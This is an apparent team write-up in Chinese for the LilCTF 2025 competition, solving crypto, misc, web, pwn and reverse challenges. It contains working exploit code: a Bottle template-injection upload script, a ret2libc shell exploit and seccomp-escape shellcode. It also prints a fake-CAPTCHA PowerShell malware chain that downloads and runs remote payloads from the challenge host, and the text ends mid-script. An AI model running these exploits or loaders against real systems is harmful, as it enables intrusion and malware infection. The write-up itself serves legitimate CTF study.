LilCTF 2025 WP

Team: Im_@tEa_P0t

image-20250818163705002

image-20250818163744141

crypto

ez_math

IMG_202508229_100842209

exp:

Sage Cell运行:

from sage.all import *

p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
#GF(p):为矩阵创造有限域,保障矩阵可逆运算
C = Matrix(GF(p), [
    [7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645, 7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801],
    [7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808, 2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872]
])

#C特征值
eigenvalues = C.eigenvalues()
lambda1, lambda2 = eigenvalues

print(f"Lambda1: {lambda1}")
print(f"Lambda2: {lambda2}")
lambda1 = 461081882199191304136043558055592717274072444511548267131743
lambda2 = 310431440615324582056084165589022472378402725080813836002613

hex1 = hex(lambda1)[2:]
hex2 = hex(lambda2)[2:]

bytes1 = bytes.fromhex(hex1)
bytes2 = bytes.fromhex(hex2)

flag=bytes1 + bytes2
print(flag)
mid_math

IMG_202508229_100842193

exp:

Sage Cell 运行得到key

p = 14668080038311483271
P = GF(p)

C_list = [
    [11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212],
    [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914],
    [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670],
    [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413],
    [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]
]

D_list = [
    [1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044],
    [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372],
    [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427],
    [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551],
    [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]
]

C = matrix(P, C_list)
D = matrix(P, D_list)

eigen_C = C.eigenvalues()
eigen_D = D.eigenvalues()

# 筛选非零特征值,嘻嘻实际上e是0
c_list = [c for c in eigen_C if c != 0]
d_list = [d for d in eigen_D if d != 0]

# 求解离散对数并验证
possible_keys = []
for c in c_list:
    for d in d_list:
        try:
            # 求解l^k = m的离散对数k
            k = discrete_log(d, c)
            # 验证是否满足C^k = D
            if C^k == D:
                possible_keys.append(k)
                print(f"找到密钥: {k}")
        except:
            continue

第二步AES解密

from Crypto.Cipher import AES
from Crypto.Util.Padding import *
from Crypto.Util.number import *

key = 5273966641785501202

msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"


key_bytes = long_to_bytes(key)
key_padded = pad(key_bytes, 16)

aes = AES.new(key_padded, AES.MODE_ECB)
flag = unpad(aes.decrypt(msg), 64)

print(flag.decode())

misc

是谁没有阅读参赛须知?

点进去网站之后开f12查找即可

image-20250815100411394

PNG Master

题目提示LSB隐写,直接用zsteg查

image-20250816170554981

看到两个base64编码,拿到flag的一二部分

然后还发现有一个zlib,提取出来用python脚本解压得到一个压缩包

image-20250816170709135

压缩包里面有两个文件,打开hint.txt查看

image-20250816170735625

是零宽位符隐写,解一下

image-20250816170814778

按照这个上面的说,将secret.bin与secret进行xor

import os

def xor_with_filename(data: bytes, key: bytes) -> bytes:
    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])

filename = "secret.bin"
with open(filename, "rb") as f:
    data = f.read()

# 取文件名(不含扩展名)
basename = os.path.splitext(os.path.basename(filename))[0] 
key = basename.encode()

# XOR
decoded = xor_with_filename(data, key)

# 保存结果
outname = "decoded_out"
with open(outname, "wb") as f:
    f.write(decoded)

print(f"[+] 已保存到 {outname}")
print("前100字节预览:", decoded[:100])

得到base64解开得第三部分flag

image-20250816170929873

得到flag

LILCTF{Y0u_4r3_Mas7er_in_PNG}

提前放出附件

首先拿到一个压缩包,有密码,不是伪加密

于是分析压缩包结构

image-20250816185754697

发现 ZipCrypto Store,首先想到明文攻击

(其实很没头绪,卡了半天)

突然想到文件这么小里面一定是明文大概率不是base64

所以制造一个包含LILCTF{flag.txt的明文文件进行攻击

生成制作脚本

import tarfile
import io

# 1. 猜测在 tar 包里的文件名
FILENAME_IN_TAR = "flag.txt" 

# 2. 您已知的、文件开头的内容
KNOWN_CONTENT = b"LILCTF{"

# 3. 生成的用于攻击的明文文件名
OUTPUT_FILENAME = "plaintext.bin"

# 4. 文件在tar包中的虚拟大小 (这个值现在可以设置得大一些,没关系)
FILE_SIZE = 2048 # 例如设置为和你的密文文件一样大

# 5. 【重要】我们实际需要写入文件的字节数,用于攻击
#     这个值必须小于你的密文大小(2048字节),64字节已足够
BYTES_FOR_ATTACK = 64

def create_tar_in_memory():
    """
    在内存中创建一个虚拟的tar文件流,并返回其二进制内容。
    """
    in_memory_tar = io.BytesIO()
    with tarfile.open(fileobj=in_memory_tar, mode='w') as tar:
        tarinfo = tarfile.TarInfo(name=FILENAME_IN_TAR)
        tarinfo.size = FILE_SIZE
        file_content = KNOWN_CONTENT.ljust(FILE_SIZE, b'\x00')
        tar.addfile(tarinfo, io.BytesIO(file_content))
    in_memory_tar.seek(0)
    return in_memory_tar.read()

if __name__ == "__main__":
    print("正在生成用于已知明文攻击的精确 tar 文件头...")
    
    # 获取内存中完整的虚拟tar文件数据
    full_tar_data = create_tar_in_memory()
    
    # 【修正点】我们只截取开头的一小部分用于攻击
    plaintext_data_for_attack = full_tar_data[:BYTES_FOR_ATTACK]
    
    with open(OUTPUT_FILENAME, "wb") as f:
        f.write(plaintext_data_for_attack)
        
    print(f"成功!已生成 '{OUTPUT_FILENAME}',大小为 {len(plaintext_data_for_attack)} 字节。")

使用bkcrack用这个制作好的文件进行明文攻击

image-20250816190129793

得到密钥,进行解密

image-20250816190151594

得到解密后的文件,打开就是flag

LILCTF{Z1pCRyp70_1s_n0t_5ecur3}

v我50(R)MB[赛后]

(赛中卡了好久啊,看题目还一直以为图片不在原位置)

访问网站后发现长度被限制了

image-20250818163348389

去掉限制就可以了

image-20250818163532485

得到flag

image-20250818163617681

web

ez_bottle

题目后端用的是 Bottle 框架和 SimpleTemplate 模板,上传 ZIP 解压后访问 /view/<md5>/<filename>,模板会直接执行 Python 代码。过滤 {}osopen_<> 等关键字,flag 存在 /flag

起初想用 open('/flag').read()os.popen('cat /flag') 读取文件,直接被黑名单拦截。模板支持 % 执行 Python 语句,{{expr}} 输出表达式,由于 {} 被封只能用 %。思路改成利用 include() 包含文件,不用显式读文件。include() 查找路径由 TEMPLATE_PATH 控制,如果把它改为 /,再 include('flag') 就能输出 /flag 内容。TEMPLATE_PATH 有下划线无法直接写,用 chr() 拼字符串再通过 setattr() 修改即可

最终生成的模板三行代码:

% import bottle
% setattr(bottle, chr(84)+chr(69)+chr(77)+chr(80)+chr(76)+chr(65)+chr(84)+chr(69)+chr(95)+chr(80)+chr(65)+chr(84)+chr(72), ['/'])
% include('f'+'lag')

第一行导入 bottle,第二行修改模板路径到根目录,第三行包含 flag 文件,全程绕过黑名单

import io
import zipfile
import requests

def build_archive() -> io.BytesIO:
    template_code = (
        "% import bottle\n"
        "% setattr(bottle, "
        "chr(84)+chr(69)+chr(77)+chr(80)+chr(76)+chr(65)+chr(84)+chr(69)"
        "+chr(95)+"
        "chr(80)+chr(65)+chr(84)+chr(72), ['/'])\n"
        "% include('f'+'lag')\n"
    )
    memory_buffer = io.BytesIO()
    with zipfile.ZipFile(memory_buffer, "w", zipfile.ZIP_DEFLATED) as archive:
        archive.writestr("data.tpl", template_code)
    memory_buffer.seek(0)
    return memory_buffer

def process_transfer(target_addr: str):
    archive_data = build_archive()
    transfer_files = {"file": ("data.zip", archive_data, "application/zip")}
    print(f"[*] 正在向目标 {target_addr} 传输文件...")

    try:
        server_resp = requests.post(
            target_addr,
            files=transfer_files,
            timeout=20,
            headers={"User-Agent": "Mozilla/5.0"}
        )

        if server_resp.status_code != 200:
            print(f"[!] 传输失败,状态码: {server_resp.status_code}")
            print(f"[!] 服务器反馈: {server_resp.text[:300]}")
            return

        print("[+] 文件传输完成!")
        if "/view/" in server_resp.text:
            resource_path = server_resp.text.split("/view/")[1].split('"')[0]
            base_url = target_addr.rsplit('/', 1)[0]
            target_link = f"{base_url}/view/{resource_path}"
            print(f"[*] 正在访问资源: {target_link}")

            result_data = requests.get(
                target_link,
                timeout=20,
                headers={"User-Agent": "Mozilla/5.0"}
            )
            print("\n[+] 操作结果:")
            print("-" * 50)
            print(result_data.text)
            print("-" * 50)
        else:
            print(f"[!] 未找到资源路径,反馈内容: {server_resp.text[:300]}")

    except Exception as problem:
        print(f"[!] 操作出现问题: {str(problem)}")

def start_operation():
    target_upload = "http://challenge.xinshi.fun:32588/upload"
    process_transfer(target_upload)
    print("[*] 全部操作结束")

if __name__ == "__main__":
    start_operation()

漏洞原因是用户文件被直接当模板执行,可任意运行 Python 代码

5c9d17cef73591c74e47d4b1d1749b75

pwn

checkin

一眼ret2libc

无canary,无pie,只有一次输入,构造rop链,泄露puts函数地址计算libc基地址,得到system地址和 ‘/bin/sh’ 字符串地址,然后在第一次输入的时候最终返回到main函数进行第二次输入getshell

返回地址位0x40117c

buf溢出0x78字节

所需的gadget

中间调试发现这里卡住,第二次输入加个ret进行栈对齐

将payload打过去,成功getshell

Exp

from pwn import *
context(log_level='debug')
libc = ELF("./libc.so.6")
elf = ELF("./pwn")

# p = remote('challenge.xinshi.fun',43306)
p = process("./pwn")

# gdb.attach(p)
# pause()

shit = b'a' * 0x78
pop_rdi_ret = 0x401176
ret = 0x40101a
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

pay = flat(
        shit,
        p64(pop_rdi_ret),
        p64(puts_got),
        p64(puts_plt),
        p64(0x40117c)
    )
p.sendafter(b'name?\n',pay)

leak = u64(p.recv()[:6].ljust(8,b'\x00'))
libc_base = leak - libc.sym['puts']
print(f"leak = {hex(leak)}")
print("libc_base:{}".format(hex(libc_base)))

system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print("system_addr:{}".format(hex(system_addr)))
print("binsh_addr:{}".format(hex(binsh_addr)))

payload = flat(
        shit,
        p64(ret),
        p64(pop_rdi_ret),
        p64(binsh_addr),
        p64(system_addr)
    )
p.send(payload)

p.interactive()
The Truman Show

checksec先

保护全开

运行发现创建了一个文件夹并且放着假flag

丢ida分析代码

这里将文件描述符2分配给了根目录

创建文件夹设置为根目录,并放入假的flag

分配内存并读取0x23字节长度的用户输入,进行检查后设置沙箱并执行用户输入的内容

在虚拟机里用seccomp-tools查不到规则,只能分析函数了

搜索一下发现参数2147418112LL是SCMP_ACT_ALLOW,即允许

沙箱只允许5个系统调用,0是read,257是openat,60为exit

其余两个为161 chroot,83 mkdir

目标就是逃出程序创建的目录,读取到真正根目录下的flag,由于文件描述符分配在chroot指令前,所以2分配给的是真的根目录,通过它进行”越狱”

orw的条件不满足,要从其他方面入手

发现run.sh里有一行echo $? 代码,这行代码可以查看上一条命令的退出状态码,这个脚本应该会在远程连接到时执行,输出状态码

有思路了,可以把flag内容读到栈上,再遍历每一个字节当作exit()的状态码进行泄露,只需传入一个0x23字节内的shellcode即可

push 0x67616c66   # ‘flag’

 mov ax, 0x101    # openat(2,flag,0)

 mov dil, 2

 mov rsi, rsp

 cdq

 syscall

 mov edi, eax      # read(3,rsp,0x40)

 xor eax, eax

 mov dl, 0x40

 syscall

 mov rdi, [rsp+0x0] # exit(rsp+0x0)

 mov al, 60

 syscall

转机器码传过去

成功泄露flag第一个字符,ascii转过来是L,然后修改mov rdi, [rsp+0x0] 中rsp的偏移,多跑几遍将flag尽数读出

Exp

from pwn import *

context(log_level='debug')

scode =("""
  push 0x67616c66

  mov ax, 0x101
  mov dil, 2
  mov rsi, rsp
  cdq
  syscall

  mov edi, eax
  xor eax, eax
  mov dl, 0x40
  syscall

  mov rdi, [rsp+0x0]
  mov al, 60
  syscall
""")

mcode = asm(scode, arch='amd64')

assert len(mcode) <= 0x23, f"长度超过35字节: {len(mcode)}字节"

filtered = set([0x80, 0x81, 0x83] + list(range(0x38, 0x3c)))
for b in mcode:
  assert b not in filtered, f"包含被过滤的字符: 0x{b:02x}"
 
# p = process('./chtest')
p = remote('challenge.xinshi.fun',31485)

p.recvuntil(b'time\n')
p.send(mcode)

result = p.recvall()
print("获取到的结果:")
print(result.decode())

p.close()

reverse

1’M no7 A rO6oT

网站提示人机验证,需要运行复制好的东西,开虚拟机运行试试

powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://challenge.xinshi.fun:31833/Coloringoutomic_Host.mp3   http://challenge.xinshi.fun:31833/Coloringoutomic_Host.mp3 #     ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086

运行后,发现是会执行恶意程序

分析运行的代码可以知道运行了hta文件

首先到url地址去下载这个mp3,里面肯定有东西

使用文本格式打开,发现里面有脚本,提取一下

image-20250816173207651

提取后删掉对window的操控代码得到脚本主体

修改eval变为console.log,把内容以日志形式输出

image-20250816173320442

得到一段js代码

image-20250816173342357

里面有一长串的数组,解密一下

const cmdArr = [713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720, 633, 650, 633, 646, 702, 713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717, 702, 701, 633, 646, 711, 712, 713, 633, 637, 670, 671, 685, 670, 633, 662, 641, 692, 715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716, 641, 640, 698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702, 650, 658, 700, 699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700, 702, 702, 702, 657, 698, 658, 698, 651, 699, 698, 703, 655, 658, 703, 699, 654, 699, 703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652, 699, 657, 658, 649, 658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658, 649, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 699, 703, 658, 700, 698, 652, 699, 699, 698, 658, 699, 702, 658, 703, 698, 653, 698, 658, 698, 649, 698, 649, 658, 649, 699, 698, 703, 701, 702, 651, 703, 700, 658, 649, 699, 700, 698, 652, 699, 699, 698, 658, 699, 702, 699, 703, 698, 653, 698, 658, 698, 649, 698, 649, 702, 651, 698, 658, 699, 653, 698, 658, 702, 702, 702, 700, 702, 650, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 658, 703, 699, 657, 699, 654, 698, 649, 698, 658, 702, 700, 657, 653, 698, 654, 698, 657, 698, 657, 698, 658, 698, 651, 702, 700, 702, 650, 657, 701, 699, 702, 698, 699, 699, 658, 698, 650, 698, 658, 698, 651, 699, 657, 657, 649, 698, 654, 699, 703, 699, 657, 702, 700, 702, 699, 702, 650, 699, 699, 702, 699, 702, 649, 702, 699, 698, 653, 702, 699, 702, 649, 702, 699, 702, 650, 698, 658, 699, 700, 702, 699, 702, 649, 702, 699, 658, 658, 698, 651, 699, 702, 698, 658, 699, 703, 699, 657, 699, 702, 698, 654, 698, 703, 699, 657, 698, 658, 698, 657, 702, 699, 702, 649, 702, 699, 702, 650, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 699, 702, 649, 702, 702, 658, 703, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 699, 698, 653, 699, 657, 699, 657, 699, 700, 703, 655, 702, 652, 702, 652, 698, 703, 698, 653, 698, 701, 698, 649, 698, 649, 698, 658, 698, 651, 698, 699, 698, 658, 702, 651, 699, 653, 698, 654, 698, 651, 699, 703, 698, 653, 698, 654, 702, 651, 698, 698, 699, 658, 698, 651, 703, 655, 703, 703, 703, 701, 703, 653, 703, 703, 703, 703, 702, 652, 698, 702, 698, 658, 699, 703, 699, 657, 699, 658, 698, 657, 698, 657, 698, 654, 698, 651, 698, 699, 702, 651, 698, 655, 699, 700, 698, 699, 702, 699, 703, 656, 658, 703, 657, 654, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 700, 702, 699, 657, 651, 698, 658, 699, 657, 702, 651, 658, 699, 698, 658, 698, 702, 657, 703, 698, 649, 698, 654, 698, 658, 698, 651, 699, 657, 702, 699, 703, 656, 698, 703, 698, 657, 703, 656, 658, 703, 658, 698, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 653, 702, 651, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 658, 656, 703, 702, 658, 650, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 698, 657, 657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698, 703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654, 702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703, 656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 699, 699, 698, 651, 702, 655, 698, 657, 702, 655, 698, 699, 702, 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 703, 656, 702, 698, 702, 653, 658, 656, 658, 703, 698, 703, 699, 702, 698, 654, 699, 700, 699, 657, 657, 702, 698, 649, 698, 652, 698, 703, 698, 656, 658, 650, 703, 655, 703, 655, 657, 703, 699, 702, 698, 658, 698, 701, 699, 657, 698, 658, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 702, 651, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 657, 701, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654, 702, 654, 702, 654, 702, 702, 703, 656, 640, 645, 640, 647, 724, 651, 726, 640, 642, 633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692, 668, 712, 711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696, 647, 687, 698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633, 640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640, 640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 652, 642];

const cmdStr = cmdArr.map(n => String.fromCharCode(n - 601)).join('');
console.log(cmdStr);

const axArr = [688,684,700,715,706,713,717,647,684,705,702,709,709];
const axStr  = axArr.map(n => String.fromCharCode(n - 601)).join('');
console.log(axStr);

将得到的输出结果继续解密

image-20250816173529743

这里应该是两两分割生成一个十六进制的文件,附带一个xor,按照这个逻辑生成解密脚本

hex_string = "a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6fffdf4ffffe3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7"

key = 204

decoded_chars = []

for i in range(0, len(hex_string), 2):
    chunk = hex_string[i:i+2]
    byte_value = int(chunk, 16)
    decoded_byte = byte_value ^ key
    decoded_chars.append(chr(decoded_byte))

decoded_script = "".join(decoded_chars)
print(decoded_script)

得到恶意脚本

iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','h','-ep','Unrestricted','-Command',"Set-Variable 3 'http://challenge.xinshi.fun:31833/bestudding.jpg';SI Variable:/Z4D 'Net.WebClient';cd;SV c4H (.`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member)[2].Name).Invoke(`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member|Where{(GV _).Value.Name-clike'*dName'}).Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)|Where{(GV _).Value.Name-clike'*wn*d*g'}).Name);&([ScriptBlock]::Create((Get-Variable c4H -ValueO).((Get-Variable A).Value).Invoke((Variable 3 -Val))))";

发现又下载了bestudding.jpg,我们去看下这个文件

image-20250816173859191

把调用字符串转换成输出字符串

$raw = Get-Content .\obf.ps1 -Raw
$fixed = $raw -replace '\|\s*\.\s*\$r', '| Write-Output'
$fixed = $fixed -replace '\bI(E|e)X\b', 'Write-Output'
$fixed = $fixed -replace '\bInvoke-Expression\b', 'Write-Output'
Set-Content -Path .\obf_fixed.ps1 -Value $fixed -Encoding UTF8
.\obf_fixed.ps1 > decoded.txt
Get-Content .\decoded.txt -Raw

得到解密文本

显而易见,这里是ASCII码, 继续生成解密脚本

import re

def decode_ps_char_obfuscation(obfuscated_code):
    """
    解码形如 iex ([CHar]36+[CHar]68+...) 的 PowerShell 混淆代码。
    
    参数:
    obfuscated_code (str): 包含混淆代码的完整字符串。
    
    返回:
    str: 解码后的可读 PowerShell 脚本。
    """
    
    print("--- 开始解码 ---")
    
    # 步骤 1: 定义正则表达式,用于匹配并提取 [CHar]... 括号中的所有数字
    # r'\[CHar\](\d+)' 的意思是:
    # \[CHar\]: 匹配字面上的 "[CHar]"。方括号需要用反斜杠 \ 转义。
    # (\d+)    : 匹配一个或多个数字 (\d+),并将其作为一个捕获组 (括号)。
    pattern = r'\[CHar\](\d+)'
    
    # 使用 re.findall 查找所有匹配项,并返回所有捕获组(也就是所有数字)的列表
    numbers = re.findall(pattern, obfuscated_code)
    
    if not numbers:
        print("未找到 [CHar] 格式的编码。请检查输入。")
        return ""
        
    print(f"成功提取到 {len(numbers)} 个字符编码。")
    
    # 步骤 2: 将数字列表中的每个数字(它们现在是字符串)转换为整数,然后再转换为字符
    # 这是一个列表推导式,高效地完成了转换。
    # chr() 函数接收一个整数,返回其对应的字符。
    decoded_chars = [chr(int(num)) for num in numbers]
    
    # 步骤 3: 将所有解码后的字符拼接成一个完整的字符串
    decoded_script = "".join(decoded_chars)
    
    print("--- 解码完成 ---")
    
    return decoded_script

# --- 使用示例 ---

# 1. 将您获得的完整混淆代码字符串粘贴到下面的三重引号之间
obfuscated_script = """
